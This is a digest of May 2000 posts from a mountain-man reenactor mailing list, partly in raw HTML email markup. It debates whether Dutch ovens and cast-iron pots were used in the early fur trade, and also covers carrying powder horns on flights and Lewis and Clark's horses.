<DIV><FONT size=3D2>Ragsdale says that cast metal pots have been in use =
since the=20
seventh century. The oven of today has evolved over the years as various =

manufacturers made refinements and improvements over the previous =
versions. The=20
shape of the ears and the length and thickness of the legs seem the most =
often=20
changed. The lid also has seen changes ranging from rounded to flat and =
from no=20
lip to various shapes.  But the photos he includes show the=20
"kettle" as it was often called, with slanted sides, ears, =
legs, and=20
bails. </FONT></DIV>
<DIV><FONT size=3D2>This is an interesting book, and, if I remember =
right, can=20
still be obtained. I seem to recall many references to Dutch ovens being =
in=20
widespread use in 1804, and certainly not much different in material and =
shape=20
from the one Lodge turns out.</FONT></DIV>
<DIV><FONT size=3D2></FONT> </DIV>
<DIV><FONT size=3D2>Did the mountain men use it as part of their camp =
equipment?=20
There is no proof of it. Was it around - would they have known what it =
was?=20
Probably. Was it at rendezvous? Again, no proof, unless someone wants to =

inventory Stewart's gear and see if they can find a reference to an iron =
Kettle=20
and then argue that point. Was it at some of the forts? Perhaps. =
</FONT></DIV>
<DIV><FONT size=3D2></FONT> </DIV>
<DIV><FONT size=3D2>Anyway, you might want to check out Ragsdale's book. =
He=20
includes diary extracts that are interesting and fun. His bibliography =
has=20
documents you may never have heard of before and could lead you into =
many an=20
other artifact chase.</FONT></DIV>
<DIV><FONT size=3D2></FONT> </DIV>
<DIV><FONT size=3D2>Bill C</FONT></DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 solid 2px; MARGIN-LEFT: 5px; PADDING-LEFT: =
5px">
    <DIV><FONT face=3DArial size=3D2><B>-----Original =
Message-----</B><BR><B>From:=20
    </B>John Kramer <<A=20
    =
href=3D"mailto:[e-mail]">[e-mail]</A>><BR><B>T=
o:=20
    </B><A=20
    =
href=3D"mailto:[e-mail]">[e-mail]=
</A>=20
    <<A=20
    =
href=3D"mailto:[e-mail]">[e-mail]=
</A>><BR><B>Date:=20
    </B>Sunday, May 28, 2000 12:28 AM<BR><B>Subject: </B>Re: MtMan-List: =
    Fri, 26 May 2000 15:59:45 -0500<BR><BR></DIV></FONT><FONT=20
    size=3D3>Bill,<BR><BR>Where did you find the information on Revere =
and 3=20
    legged Dutch Ovens?  I'd sure like to see the=20
    photos.<BR><BR>John...<BR><BR><BR>At 10:35 PM 5/27/00 -0600, you =
wrote:<BR>
    <BLOCKQUOTE cite type =3D cite>Barney, the photos I've seen of Paul=20
        Revere's Dutch ovens are very much like<BR>those in use today. =
True,=20
        there have been changes, such as the ears and<BR>bails, but the =
basic=20
        shape is the same. Should we not use them? I don't<BR>know. I =
don't pack=20
        one along to AMM and I don't pack one when I'm out by<BR>myself. =
Just=20
        too heavy for light traveling. But I have taken one along=20
        to<BR>something like an NMLRA nationals where I don't have to =
pack in=20
        and am going<BR>to be there for 10 days. Makes cooking a breeze. =
And=20
        when you get right down<BR>to it, the difference in the old and =
new DOs=20
        and our replica guns and many<BR>other accouterments aren't all =
that=20
        much different.<BR>Bill C<BR>-----Original Message-----<BR>From: =

        [e-mail] <[e-mail]><BR>To:=20
        [e-mail]=20
        <[e-mail]><BR>Date: Saturday, May 27, =
2000=20
        1:35 PM<BR>Subject: Re: MtMan-List: Date: Fri, 26 May 2000 =
15:59:45=20
        -0500<BR><BR><BR>>Walt, Forgive me if I'm having a senior =
moment=20
        <G> but IIRC the previous<BR>>discussion was not =
whether cast=20
        iron was in use during the mountain man<BR>>period, but =
whether the=20
        design of the dutch ovens we use today was correct.<BR>>There =
was=20
        definitely cast iron pots being made and traded from and=20
        through<BR>>Africa prior to the period, but nothing has been=20
        presented to establish<BR>that<BR>>the straight-sided, =
three-legged=20
        version so common at Rendezvous today=20
        was<BR>>present.   =20
        Barney<BR>><BR>>----------------------<BR>>hist_text =
list info:=20
        <A href=3D"http://www.xmission.com/~drudy/mtman/maillist.html" =
eudora =3D=20
        =
autourl>http://www.xmission.com/~drudy/mtman/maillist.html</A><BR>><BR=
><BR><BR>----------------------<BR>hist_text=20
        list info: <A =
href=3D"http://www.xmission.com/~drudy/mtman/maillist.html"=20
        eudora =3D=20
        =
autourl>http://www.xmission.com/~drudy/mtman/maillist.html</A></FONT></BL=
OCKQUOTE><BR>
    <DIV>John T. Kramer, maker of: </DIV><BR>
    <DIV>Kramer's Best Antique Improver</DIV>
    <DIV>>>>It makes wood wonderful<<<</DIV>
    <DIV>        >>>As good =
as=20
    old!<<<</DIV><BR>
    <DIV><<A href=3D"http://www.kramerize.com/" EUDORA =3D=20
    AUTOURL>http://www.kramerize.com/</A>></DIV><BR>
    <DIV>mail to: <[e-mail]> =
</DIV></BLOCKQUOTE></BODY></HTML>

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-------------------------------------------------------------------------------

From: [e-mail]
Subject: Re: MtMan-List: Powderhorn as airline baggage
Date: 28 May 2000 12:23:55 EDT

In a message dated 5/27/00 4:10:09 PM Pacific Daylight Time, [e-mail]
writes:

> Maybe send your horn ahead via Fed Ex or something?

BE SURE AND CHECK FEDEX REGULATIONS...... From what I've read, there ain't no
way they allow any kind of explosive or container or gun or ammunition or
anything of the sort.  UPS seems to be a bit more lax in their reg's.  Barn

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From: "Frank Fusco" <[e-mail]>
Subject: MtMan-List: Dutch ovens
Date: 28 May 2000 11:30:43 -0500

    The book COLLECTOR'S ILLUSTRATED ENCYCLOPEDIA OF THE AMERICAN
REVOLUTION, by George C. Neumann and Frank J. Kravic show photos of several
'Dutch oven' type cooking pots.  Of four shown, three are of the rounded
side type that are often called 'African' style, the other is straight sided
and very much resembles what is common today although this one is not
credited with having a lid.
    Incidentally, in this same book is a picture of a priming horn from the
1700's that has a silver 'thingy' spout on it.  It also shows several small
horns which, according to the text, could have been used as pocket horns for
powder or priming usage.
    Whether such and such was actually used by the RMFT guys, I dunno.
Wasn't there.
Frank Fusco


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From: "Walt Foster" <[e-mail]>
Subject: RE: MtMan-List: Your FACTS cannot be confirmed.
Date: 28 May 2000 10:40:05 -0600

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Hello John Funk and everybody reading this on the list world-wide,

I am surprised he remembered me at all.  It appears you were on the right
track and then unsuccessful in getting to the same resource that I did.  If
you used any word like modern in your sentence I think it is highly likely
that you through off the Chief Historian that maybe how we got different
results.  You may consider this issue ôtrivialityö.  I would consider this
information to be significant, at least for the mountain men who operated
out of The Fort Union Trading Post from 1828-1840 on the upper Yellowstone.

You can see it where you would be ôbotheringö them and ôwasting their timeö
if you want to.  I think furthering good research requires a cool head,
steady hands and a consistent approach.  This time I will blaze the trail.

I believe I can go back and find-furthering referencing at Ft. Union in
addition to the 4 listed artifacts I wrote down word for word over the
phone.  My supposition as you call it is based on the empirical evidence of
the 4 artifacts now in question.

Raining hard here in the Red Lodge country you said was so hot when you were
here, the last time we talked.  Snow and cold in the mountains and trappers
would still be able to take good beaver from the high country streams.  Camp
meat skins, particularly deer are suitable to make up hoop strings for
stretching and drying beaver pelts.  Easy way to make rawhide into lacing
material is to take a hawk or camp axe and drive it into a piece of fire
wood big enough to hold it steady.  Drive a knife blade in along side about
7/16 to 5/16 of an inch apart.  Take a piece of rawhide and cut it into a
circle about the diameter of the span of your little finger to the out
spread width of your thumb.  Making it about 9 inches in diameter.  Start a
cut the width of the space between the 2 blades and start pulling.  When you
get the hang of it a trapper can make up a lot of hoop strings out of
rawhide with or without hair on the deer hides as needed in a short period
of time to hoop beaver.  I also think that if the sun was shinning bright
the trappers who were working the river bottoms where they could drive pegs
into the ground may have had no need of hoops.   I prefer to think of it as
we are covering the same ground looking for the same thing not that your
dealing with me.

Have a good day and we will see what turns up along the trail.
Walt
Park City, Montana







Walt,

I have just finished reading through every posting you have ever made to
this group.

I then spoke with Randy Kane of Fort Union.  He barely remembered who you
are and has NO information on any cast iron artifacts found there, he
referred me to Kenneth Hart, Museum Tech who he said is their best informed
on material culture.  He also referenced Audrey Barnhart, curator as a
possible source of information.  He has no idea about any modern camp oven
cast iron, or what if any information the other two people may have on this
or any other subject, he thinks he suggested you speak to the above people
regarding your supposition.  The other two folks won't be available until
Tuesday, I really don't see where my bothering them with this triviality is
worth wasting their time.

I have let several of your declarations of the appropriateness of camp ovens
slide by as I am long weary of dealing with you on this topic.

The sum total of your evidence, which is at best attributed to the wrong
person, is repeated here below:

begin quote 2/29/00 posting ...

Cast iron at Ft. Union says, walt foster and Randy Kane/Historian.

 1. base fragment
 2. rim fragment wedge shape
 3. lid fragment 14 by 35 centimeters.
 4. lid fragment with the handle in the center
These cast iron artifacts were dug up at the Fort Union Trading Post.
Walt
Park City, Montana

end quote 2/29/00 ...

Do I really need to comment further?

At 12:30 PM 5/27/00 -0600, Walt wrote to LongWalker:


Everybody knows that the Dutch ...

There is nothing that everybody knows!

I have yet to see any credible evidence that camp ovens existed anywhere
before the last half of the nineteenth century.  I've looked.

John...



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<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D3 =
color=3Dnavy
face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;color:navy'>Hello John
Funk and everybody reading this on the list =
world-wide,</span></font><font
color=3Dnavy><span =
style=3D'color:navy;mso-color-alt:windowtext'><o:p></o:p></span></font></=
p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D3 =
color=3Dnavy
face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;color:navy'><![if =
!supportEmptyParas]> <![endif]></span></font><font
color=3Dnavy><span =
style=3D'color:navy;mso-color-alt:windowtext'><o:p></o:p></span></font></=
p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D3 =
color=3Dnavy
face=3D"Times New Roman"><span style=3D'font-size:12.0pt;color:navy'>I =
am surprised
he remembered me at all.<span style=3D"mso-spacerun: yes">  =
</span>It
appears you were on the right track and then unsuccessful in getting to =
the
same resource that I did.<span style=3D"mso-spacerun: yes">  =
</span>If you
used any word like modern in your sentence I think it is highly likely =
that you
through off the Chief Historian that maybe how we got different =
results.<span
style=3D"mso-spacerun: yes">  </span>You may consider this issue =
“triviality”.<span
style=3D"mso-spacerun: yes">  </span>I would consider this =
information to be
significant, at least for the mountain men who operated out of The Fort =
Union
Trading Post from 1828-1840 on the upper Yellowstone.<span =
style=3D"mso-spacerun:
yes">  </span></span></font><font color=3Dnavy><span =
style=3D'color:navy;
mso-color-alt:windowtext'><o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D3 =
color=3Dnavy
face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;color:navy'><![if =
!supportEmptyParas]> <![endif]></span></font><font
color=3Dnavy><span =
style=3D'color:navy;mso-color-alt:windowtext'><o:p></o:p></span></font></=
p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D3 =
color=3Dnavy
face=3D"Times New Roman"><span style=3D'font-size:12.0pt;color:navy'>You =
can see it
where you would be “bothering” them and “wasting their =
time” if you want to.<span
style=3D"mso-spacerun: yes">  </span>I think furthering good =
research
requires a cool head, steady hands and a consistent approach.<span
style=3D"mso-spacerun: yes">  </span>This time I will blaze the =
trail.</span></font><font
color=3Dnavy><span =
style=3D'color:navy;mso-color-alt:windowtext'><o:p></o:p></span></font></=
p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D3 =
color=3Dnavy
face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;color:navy'><![if =
!supportEmptyParas]> <![endif]></span></font><font
color=3Dnavy><span =
style=3D'color:navy;mso-color-alt:windowtext'><o:p></o:p></span></font></=
p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D3 =
color=3Dnavy
face=3D"Times New Roman"><span style=3D'font-size:12.0pt;color:navy'>I =
believe I
can go back and find-furthering referencing at Ft. Union in addition to =
the 4
listed artifacts I wrote down word for word over the phone.<span
style=3D"mso-spacerun: yes">  </span>My supposition as you call it =
is based
on the empirical evidence of the 4 artifacts now in question.<span
style=3D"mso-spacerun: yes">  </span></span></font><font =
color=3Dnavy><span
style=3D'color:navy;mso-color-alt:windowtext'><o:p></o:p></span></font></=
p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D3 =
color=3Dnavy
face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;color:navy'><![if =
!supportEmptyParas]> <![endif]></span></font><font
color=3Dnavy><span =
style=3D'color:navy;mso-color-alt:windowtext'><o:p></o:p></span></font></=
p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D3 =
color=3Dnavy
face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;color:navy'>Raining hard
here in the Red Lodge country you said was so hot when you were here, =
the last
time we talked.<span style=3D"mso-spacerun: yes">  </span>Snow and =
cold in
the mountains and trappers would still be able to take good beaver from =
the
high country streams.<span style=3D"mso-spacerun: yes">  =
</span>Camp meat
skins, particularly deer are suitable to make up hoop strings for =
stretching
and drying beaver pelts.<span style=3D"mso-spacerun: yes">  =
</span>Easy way
to make rawhide into lacing material is to take a hawk or camp axe and =
drive it
into a piece of fire wood big enough to hold it steady.<span
style=3D"mso-spacerun: yes">  </span>Drive a knife blade in along =
side about
7/16 to 5/16 of an inch apart.<span style=3D"mso-spacerun: yes">
</span>Take a piece of rawhide and cut it into a circle about the =
diameter of
the span of your little finger to the out spread width of your =
thumb.<span
style=3D"mso-spacerun: yes">  </span>Making it about 9 inches in =
diameter.<span
style=3D"mso-spacerun: yes">  </span>Start a cut the width of the =
space
between the 2 blades and start pulling.<span style=3D"mso-spacerun: =
yes">
</span>When you get the hang of it a trapper can make up a lot of hoop =
strings
out of rawhide with or without hair on the deer hides as needed in a =
short
period of time to hoop beaver.<span style=3D"mso-spacerun: yes">  =
</span>I
also think that if the sun was shinning bright the trappers who were =
working
the river bottoms where they could drive pegs into the ground may have =
had no
need of hoops. <span style=3D"mso-spacerun: yes">  </span>I =
prefer to
think of it as we are covering the same ground looking for the same =
thing not
that your dealing with me.</span></font><font color=3Dnavy><span
style=3D'color:navy;mso-color-alt:windowtext'><o:p></o:p></span></font></=
p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D3 =
color=3Dnavy
face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;color:navy'><![if =
!supportEmptyParas]> <![endif]></span></font><font
color=3Dnavy><span =
style=3D'color:navy;mso-color-alt:windowtext'><o:p></o:p></span></font></=
p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D3 =
color=3Dnavy
face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;color:navy'>Have a good
day and we will see what turns up along the trail.</span></font><font
color=3Dnavy><span =
style=3D'color:navy;mso-color-alt:windowtext'><o:p></o:p></span></font></=
p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D3 =
color=3Dnavy
face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;color:navy'>Walt</span></font><font
color=3Dnavy><span =
style=3D'color:navy;mso-color-alt:windowtext'><o:p></o:p></span></font></=
p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D3 =
color=3Dnavy
face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;color:navy'>Park City,
Montana</span></font><font color=3Dnavy><span =
style=3D'color:navy;mso-color-alt:
windowtext'><o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D3 =
color=3Dnavy
face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;color:navy'><![if =
!supportEmptyParas]> <![endif]></span></font><font
color=3Dnavy><span =
style=3D'color:navy;mso-color-alt:windowtext'><o:p></o:p></span></font></=
p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D3 =
color=3Dnavy
face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;color:navy'><![if =
!supportEmptyParas]> <![endif]></span></font><font
color=3Dnavy><span =
style=3D'color:navy;mso-color-alt:windowtext'><o:p></o:p></span></font></=
p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D3 =
color=3Dnavy
face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;color:navy'><![if =
!supportEmptyParas]> <![endif]></span></font><font
color=3Dnavy><span =
style=3D'color:navy;mso-color-alt:windowtext'><o:p></o:p></span></font></=
p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D3 =
color=3Dblack
face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;color:black'><![if =
!supportEmptyParas]> <![endif]></span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p class=3DMsoNormal =
style=3D'margin-right:.5in;mso-margin-top-alt:auto;mso-margin-bottom-alt:=

auto;margin-left:1.0in'><font size=3D3 color=3Dblack face=3D"Times New =
Roman"><span
style=3D'font-size:12.0pt;color:black'><![if =
!supportEmptyParas]> <![endif]></span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p class=3DMsoNormal style=3D'margin-left:.5in'><font size=3D3 =
color=3Dblack
face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt;color:black'><br>
<br>
Walt,<br>
<br>
I have just finished reading through every posting you have ever made to =
this
group.<br>
<br>
I then spoke with Randy Kane of Fort Union.  He barely remembered =
who you
are and has NO information on any cast iron artifacts found there, he =
referred
me to Kenneth Hart, Museum Tech who he said is their best informed on =
material
culture.  He also referenced Audrey Barnhart, curator as a possible =
source
of information.  He has no idea about any modern camp oven cast =
iron, or
what if any information the other two people may have on this or any =
other
subject, he thinks he suggested you speak to the above people regarding =
your
supposition.  The other two folks won't be available until Tuesday, =
I
really don't see where my bothering them with this triviality is worth =
wasting
their time.  <br>
<br>
I have let several of your declarations of the appropriateness of camp =
ovens
slide by as I am long weary of dealing with you on this =
topic.   <br>
<br>
The sum total of your evidence, which is at best attributed to the wrong
person, is repeated here below:<br>
<br>
begin quote 2/29/00 posting ...<br>
<br>
</span></font><font size=3D2 color=3Dblack face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial;color:black'>Cast iron at Ft. Union says, walt foster =
and
Randy Kane/Historian.<br>
</span></font><font color=3Dblack><span style=3D'color:black'> <br>
</span></font><font size=3D2 color=3Dblack face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial;color:black'> 1. base fragment<br>
 2. rim fragment wedge shape<br>
 3. lid fragment 14 by 35 centimeters.  <br>
 4. lid fragment with the handle in the center<br>
These cast iron artifacts were dug up at the Fort Union Trading =
Post.  <br>
Walt<br>
Park City, Montana<br>
</span></font><font color=3Dblack><span style=3D'color:black'> <br>
end quote 2/29/00 ...<br>
<br>
Do I really need to comment further?<br>
<br>
At 12:30 PM 5/27/00 -0600, Walt wrote to LongWalker:<br =
style=3D'mso-special-character:
line-break'>
<![if !supportLineBreakNewLine]><br =
style=3D'mso-special-character:line-break'>
<![endif]></span></font><font color=3Dblack><span =
style=3D'color:black;mso-color-alt:
windowtext'><o:p></o:p></span></font></p>

<p class=3DMsoNormal =
style=3D'margin-right:.5in;mso-margin-top-alt:auto;mso-margin-bottom-alt:=

auto;margin-left:1.0in'><font size=3D3 color=3Dblack face=3D"Times New =
Roman"><span
style=3D'font-size:12.0pt;color:black'>Everybody knows that the Dutch =
...</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p class=3DMsoNormal =
style=3D'mso-margin-top-alt:0in;margin-right:0in;margin-bottom:
12.0pt;margin-left:.5in'><font size=3D3 color=3Dblack face=3D"Times New =
Roman"><span
style=3D'font-size:12.0pt;color:black'><br>
There is nothing that everybody knows!<br>
<br>
I have yet to see any credible evidence that camp ovens existed anywhere =
before
the last half of the nineteenth century.  I've looked. <br>
<br>
John...<br style=3D'mso-special-character:line-break'>
<![if !supportLineBreakNewLine]><br =
style=3D'mso-special-character:line-break'>
<![endif]></span></font><font color=3Dblack><span =
style=3D'color:black;mso-color-alt:
windowtext'><o:p></o:p></span></font></p>

</div>

</body>

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-------------------------------------------------------------------------------

From: Angela Gottfred <[e-mail]>
Subject: MtMan-List: Re: Dutch ovens
Date: 28 May 2000 12:00:53 -0600

To recap, our documentation on Dutch ovens discussed on the list to date is
now:

Excavated: 1 (Bent's Fort)
Inventoried: 36 iron pots, almost certainly cast iron (at Fort George, fka
Astoria--see post by Dean Rudy, Dec. 20/97)
Mentioned in journal: 1 (L&C)
Hypothetical (i.e. documented as used in nearby place or time, but not
directly tied to fur trade): 3 (now including Ragsdale's book)


Your humble & obedient servant,
Angela Gottfred



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From: [e-mail]
Subject: Dutch ovens again was Re: MtMan-List: Date: Fri, 26 May 2000
Date: 28 May 2000 15:08:15 -0500

Washtahay-
At 01:03 PM 5/27/00 -0500, someone wrote:
>Apparently
>your interpretations of the report lead you to believe otherwise, which is
>certainly okay, although I don't understand why if you wouldn't be surprised
>that they were used at Astoria you find it so hard to believe that they were
>at Bents Fort especially considering the evidence which is at hand.
    As I said in another post, it isn't a question of belief.  By training and
inclination, I am what might be described as an "itinerant scholar"--a
student of what interests me.  As an intellectual challenge, I decided to
dig into the question of whether or not cast iron pots were available and
in use in the western fur trade prior to 1840.
    I don't have a particular point to prove here--I seldom carry a dutch oven
with me as I most often arrive at my campsite on foot--but when opportunity
allows I do use my ovens in the field.  It isn't that I really _care_ , I
just want to _know_.
    Before I got tired of the ad hominem attacks, I posted to the list
(2/29/00) information regarding a cast iron lid found at Fort Atkinson
under circumstances that seem to indicate it dated from the occupation
period.  Were I seeking support for an argument that cast iron was not
present during the period in question I'd not have done so.
    Since that point, I continued to research the subject.  I've found use of
the term "dutch oven" dating back as far as the early 1600s in europe.
I've found records of the purchase of cast iron kettles by jobbers who
dealt with the US factory system and the fur trading houses.  But I've not
found anything to indicate that cast iron vessels (by whatever name)
entered the fur trade in the Rocky Mountains.
    (Several times I thought I was on to something when I found mention of
"iron kettles" in the lists, but in every case the weight indicates they
could not have been cast iron.  At this point, it seems to me they were
called "iron kettles" to distinguish them from "tin kettles", i.e., sheet
iron kettles that had been dipped in tin to prevent rust.)
    The results of my research were written up and submitted for publication a
few weeks ago; of course TODAY I realized another approach to the question.
 As time allows I'll get started on that.
LongWalker c. du B.



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From: "Paul W. Jones" <[e-mail]>
Subject: MtMan-List: Lewis & Clark/Saddles
Date: 28 May 2000 17:27:20 -0700

What provision did Lewis and Clark make for saddles.  My collection of L & C
volumes is still packed from the move, and I am unable to access them at
this time.  I recall that they traded for horses just North and West of
present day Dillion, MT.  Did they have sufficient saddles for their needs
at that time?  Also, what percentage of the men rode as opposed to walked
after horses were available?

Regards,  Paul

----- Original Message -----
Sent: Saturday, May 27, 2000 9:23 PM


> Well looks like you guys want to get into the Dutch Oven authenticity
stuff
> again.  Maybe you should think about logic also.
>
> I've said this before (and let me make it clear that this is ONLY my
> opinion) but what would an average mountaineer have carried?  A Dutch
Oven,
> a brazier or any other kind of heavy shit like that?  Well if I were there
> back then, that would be the last thing I would carry with me.  Sure some
of
> it was out there and available during the time period, but so was a
> submarine, hot air balloon and a bunch of other stuff that would not be
> appropriate in the mountains.
>
> My view is, just because you can document something only proves it was
> there, not that it was common.  I can document a lot of stuff that William
> Drummond Stewart took to Rendezvous in 1837.  Does it mean if everyone
wants
> to have something at Rendezvous that he brought, which was uncommon, it
> would be OK?  Only if you think it would be OK for half the people at
> Rendezvous to portray Stewart.
>
> I cook with stuff as simple as possible.  That means with sticks over the
> fire, a small tin boiler and maybe a small folding steel frying pan.  I
also
> bring as little as possible.  I've learned that less is more and my horse
> agrees.
>
> Just my 2 cents.
>
> Best Regards,
>
> Jerry (Meriwether) Zaslow #1488
>
____________________________________________________________________________
____
>
>
> >No Sir,
> >
> >The facts have already been established once and for all by the Fort
Union
> >Trading Post.  Cast iron artifacts of both types were present in the
> >mountain man period.
> >Walt
> >Park City, Montana
> >
> >
> >
> >> You guys aren't really serious about starting round
> >> two of the dutch oven debacle, are you???
> >>
> >> Tom
> >
> >
> >
> >----------------------
> >hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
> >
>
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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-------------------------------------------------------------------------------

From: [e-mail]
Subject: Re: MtMan-List: Powderhorn as airline baggage
Date: 28 May 2000 11:54:49 -0700



On Sat, 27 May 2000 19:15:14 -0700 "Paul W. Jones"
<[e-mail]> writes:
> Other than being an express violation of federal law, you should find
> no
> difficulty in this endeavor.  Unless caught.
>
> Paul
>
I know we may be cutting some fine lines here---but if the horn is empty
when put into your luggage then how would it be against the law---if
putting powder horns in your luggage is against the law---then color me
guilty---when i am traveling and find one or more i pick them up---but I
do check to see that they are empty----have had to go to the luggage pick
up a couple of times and open the case and show them that there was no
explosives there---usually what happens if the sniffers find it your
luggage misteriously gets opened and checked then at the other end you
get there and no luggage appears on the carasoll---then when you go to
the office you get a line of crap and they note that you are not
transporting anything except the residue---


sniffer dogs will also pick up your cloths by the way if you have been
doing a lot of shooting of black powder---have seen that happen
also---with a extremely good dog---

best bet is to ship it UPS and say that it is "cow horn historical
antique or modern artifacts"---no explosives---just my humbel opinion of
course---


HAWK
Michael Pierce        "Home of ".Old Grizz" Product line "  trademark (C)
854 Glenfield Dr.
Palm Harbor florida 34684
E-Mail: [e-mail]   Web site:
http://www.angelfire.com/fl2/mpierce

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From: Randal J Bublitz <[e-mail]>
Subject: Re: MtMan-List: L & C Horses
Date: 28 May 2000 16:59:05 -0700

As well as I can tell, reading in the book L & C among the indians by
Ronda.....pg. 154 '" When clark carefully examined the twenty-nine horses
in the expedition's corral, he found them to "nearly all sore backs, and
several pore and young""
pg 156, after meeting the Flatheads.....  The flatheads generously took a
number of worn out horses in exchange for some of their healthy and
"elegant" ones.    Twelve good mounts were added to the expedition's
herd.
(same page)  The following day ........adding two fine animals to the
herd.    No more mention of adding horses as the corps begins to cross
Lolo Pass.    According to this source, there were 43 horses.   In my
copy of the journals Lewis mentions readying the horses, saddles, etc..
  Hope this helps...        hardtack

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From: Randal J Bublitz <[e-mail]>
Subject: Re: MtMan-List: Re:L & C Horses
Date: 28 May 2000 17:07:30 -0700

Also.....according to Stephen Ambrose....'Undaunted Courage'    pg 285
(hardback)    The expedition now had approximately thirty-nine horses,
three colts and one mule- for packing, riding, or food in the last
extreme....
hardtack

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From: [e-mail]
Subject: Re: MtMan-List: Powderhorn as airline baggage
Date: 28 May 2000 20:11:01 EDT

Hallo the List,

I've been following this line for a while, and being an air line pilot, I do
have an interest. Black powder is NOT, as most know, allowed on passenger
flights. Your powder horn, very empty, is, and I'd suggest using air pressure
to blow the inside of the horn clean. You only get to blow the tail, or
belly, off an airplane once.... so buy your black powder at your destination.

Most have by now, heard of the brain dead woman from Alaska that put a loaded
hand gun in her checked baggage and blew a hole through a perfectly good
plane.... that kinda stuff scares me....

Ymos,

Magpie

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-------------------------------------------------------------------------------

From: [e-mail]
Subject: MtMan-List: "smell powder"
Date: 28 May 2000 20:26:26 EDT

Hallo the List,

In "Forty Years a Fur Trader", Charles Larpenteur (on page 8) writes;
"....and toward evening he got so drunk himself that he frequently asked me
if I did not want to "smell powder", but as I never felt like smelling powder
as he proposed, I declined, not knowing why he used the expression."

Now....I may have been born at night,.... but not last night..... so I'm
thinkin he's not referring to black powder! Anyone know of just how wide
spread this was? Selling whiskey to the Injuns sounds honorable....

Ymos,
Steve

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-------------------------------------------------------------------------------

From: John Kramer <[e-mail]>
Subject: RE: MtMan-List: Your FACTS cannot be confirmed.
Date: 28 May 2000 19:36:27 -0500

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Walt,

This is John Kramer not John Funk.

When I spoke with your source, Randy Kane, I asked about "cast iron"=20
artifacts of which he had no knowledge.  I read him the information as you=
=20
posted it.  He had no recollection.

The "modern camp oven" is my term used  to distinguish those from all the=20
other possible cast iron pots.

The 3 legged pot, pictured on page 90 of The Collectors Encyclopedia of The=
=20
American Revolution, looks to be much deeper than what we consider a camp=20
oven and also would appear to have a rounded bottom.  A fairly common old=20
style pot.

John...


At 10:40 AM 5/28/00 -0600, you wrote:

>Hello John Funk and everybody reading this on the list world-wide,
>
>
>
>I am surprised he remembered me at all.  It appears you were on the right=
=20
>track and then unsuccessful in getting to the same resource that I=20
>did.  If you used any word like modern in your sentence I think it is=20
>highly likely that you through off the Chief Historian that maybe how we=20
>got different results.  You may consider this issue triviality .  I would=
=20
>consider this information to be significant, at least for the mountain men=
=20
>who operated out of The Fort Union Trading Post from 1828-1840 on the=20
>upper Yellowstone.
>
>
>
>You can see it where you would be bothering them and wasting their time if=
=20
>you want to.  I think furthering good research requires a cool head,=20
>steady hands and a consistent approach.  This time I will blaze the trail.
>
>
>
>I believe I can go back and find-furthering referencing at Ft. Union in=20
>addition to the 4 listed artifacts I wrote down word for word over the=20
>phone.  My supposition as you call it is based on the empirical evidence=20
>of the 4 artifacts now in question.
>
>
>
>Raining hard here in the Red Lodge country you said was so hot when you=20
>were here, the last time we talked.  Snow and cold in the mountains and=20
>trappers would still be able to take good beaver from the high country=20
>streams.  Camp meat skins, particularly deer are suitable to make up hoop=
=20
>strings for stretching and drying beaver pelts.  Easy way to make rawhide=
=20
>into lacing material is to take a hawk or camp axe and drive it into a=20
>piece of fire wood big enough to hold it steady.  Drive a knife blade in=20
>along side about 7/16 to 5/16 of an inch apart.  Take a piece of rawhide=20
>and cut it into a circle about the diameter of the span of your little=20
>finger to the out spread width of your thumb.  Making it about 9 inches in=
=20
>diameter.  Start a cut the width of the space between the 2 blades and=20
>start pulling.  When you get the hang of it a trapper can make up a lot of=
=20
>hoop strings out of rawhide with or without hair on the deer hides as=20
>needed in a short period of time to hoop beaver.  I also think that if the=
=20
>sun was shinning bright the trappers who were working the river bottoms=20
>where they could drive pegs into the ground may have had no need of=20
>hoops.   I prefer to think of it as we are covering the same ground=20
>looking for the same thing not that your dealing with me.
>
>
>
>Have a good day and we will see what turns up along the trail.
>
>Walt
>
>Park City, Montana
>
>
>
>
>
>
>
>
>
>
>
>
>
>Walt,
>
